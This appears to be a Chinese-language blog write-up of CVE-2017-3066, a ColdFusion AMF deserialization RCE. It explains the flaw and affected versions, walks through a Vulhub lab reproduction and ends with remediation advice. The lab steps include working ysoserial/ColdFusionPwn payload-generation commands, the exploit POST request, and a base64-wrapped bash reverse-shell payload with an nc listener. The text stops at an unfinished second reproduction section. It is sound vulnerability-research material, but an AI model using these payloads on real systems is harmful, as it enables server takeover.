ColdFusion-CVE-2017-3066

ColdFusion-CVE-2017-3066
Takake1.漏洞简介
CVE-2017-3066 漏洞详解
CVE-2017-3066 是 Adobe ColdFusion 中的一个严重反序列化漏洞,攻击者可以通过构造恶意的 AMF(Action Message Format)请求,触发反序列化操作,从而在目标服务器上执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。
1. 漏洞背景
Adobe ColdFusion 是一个动态 Web 服务器,支持 CFML(ColdFusion Markup Language)脚本语言,广泛用于构建 Web 应用程序。该漏洞的核心问题在于 ColdFusion 对 AMF 请求的反序列化处理存在缺陷,导致攻击者可以通过构造恶意请求实现远程代码执行(RCE)。
2. 漏洞原理
漏洞的核心在于 ColdFusion 的 AMF 反序列化机制:
AMF 协议:
- AMF 是一种用于客户端与服务器之间通信的二进制协议,常用于 Flash 和 Flex 应用程序。
- ColdFusion 通过
/flex2gateway/amf
端点处理 AMF 请求。
反序列化漏洞:
- ColdFusion 在处理 AMF 请求时,未对反序列化的数据进行严格验证。
- 攻击者可以通过构造恶意的 AMF 请求,利用 Java 反序列化漏洞执行任意代码。
利用链:
- 攻击者使用工具(如
ColdFusionPwn
和ysoserial
)生成恶意序列化对象(POC)。 - 将 POC 通过 POST 请求发送到
/flex2gateway/amf
端点,触发反序列化漏洞。 - 成功利用后,攻击者可以在目标服务器上执行任意命令。
- 攻击者使用工具(如
3. 影响版本
- 受影响版本:
- Adobe ColdFusion (2016 release) Update 3 及之前的版本
- ColdFusion 11 Update 11 及之前的版本
- ColdFusion 10 Update 22 及之前的版本。
4. 漏洞利用条件
目标系统:
- 运行受影响版本的 ColdFusion。
- 目标系统未打补丁或未采取缓解措施。
攻击者权限:
- 攻击者需要能够访问 ColdFusion 的
/flex2gateway/amf
端点。
- 攻击者需要能够访问 ColdFusion 的
网络访问:
- 攻击者能够访问目标 ColdFusion 服务的端口(默认 8500)。
5. 漏洞复现
以下是漏洞复现的简要步骤:
环境搭建
使用 Vulhub 搭建漏洞环境:
1
2cd vulhub/coldfusion/CVE-2017-3066
docker-compose up -d访问
http://目标IP:8500/CFIDE/administrator/index.cfm
,输入默认密码vulhub
完成安装。
生成 POC
下载工具:
生成 POC:
1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
该命令会在当前目录下生成
poc.ser
文件。
发送恶意请求
使用 Burp Suite 构造 POST 请求:
1
2
3
4
5POST /flex2gateway/amf
Host: 目标IP:8500
Content-Type: application/x-amf
Content-Length: <长度>
[POC 内容]将
poc.ser
文件内容粘贴到请求体中,发送请求。
验证漏洞
进入容器查看文件是否创建:
1
2docker exec -it <容器ID> /bin/bash
ls /tmp如果发现
/tmp/success
文件,则漏洞利用成功。
反弹 Shell
生成反弹 Shell 的 POC:
1
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,<Base64编码的命令>}|{base64,-d}|{bash,-i}' poc2.ser
发送请求并监听反弹 Shell:
1
nc -lvp <端口>
成功获取反弹 Shell。
6. 修复建议
升级版本:
- 升级到 ColdFusion 的最新版本(2016 Update 4、11 Update 12 或 10 Update 23)。
禁用 AMF 端点:
- 如果不需要 AMF 功能,可以禁用
/flex2gateway/amf
端点。
- 如果不需要 AMF 功能,可以禁用
访问控制:
- 限制 ColdFusion 的访问权限,避免暴露在公网。
- 启用身份验证和授权机制,防止未授权访问。
监控和审计:
- 定期监控 ColdFusion 日志,检测异常访问行为。
7. 总结
CVE-2017-3066 是一个高危的反序列化漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。
2.复现
2.1.反序列化cb利用链
1 | # 序列化bc链 |
- 将序列后的二进制文件通过bp发送过去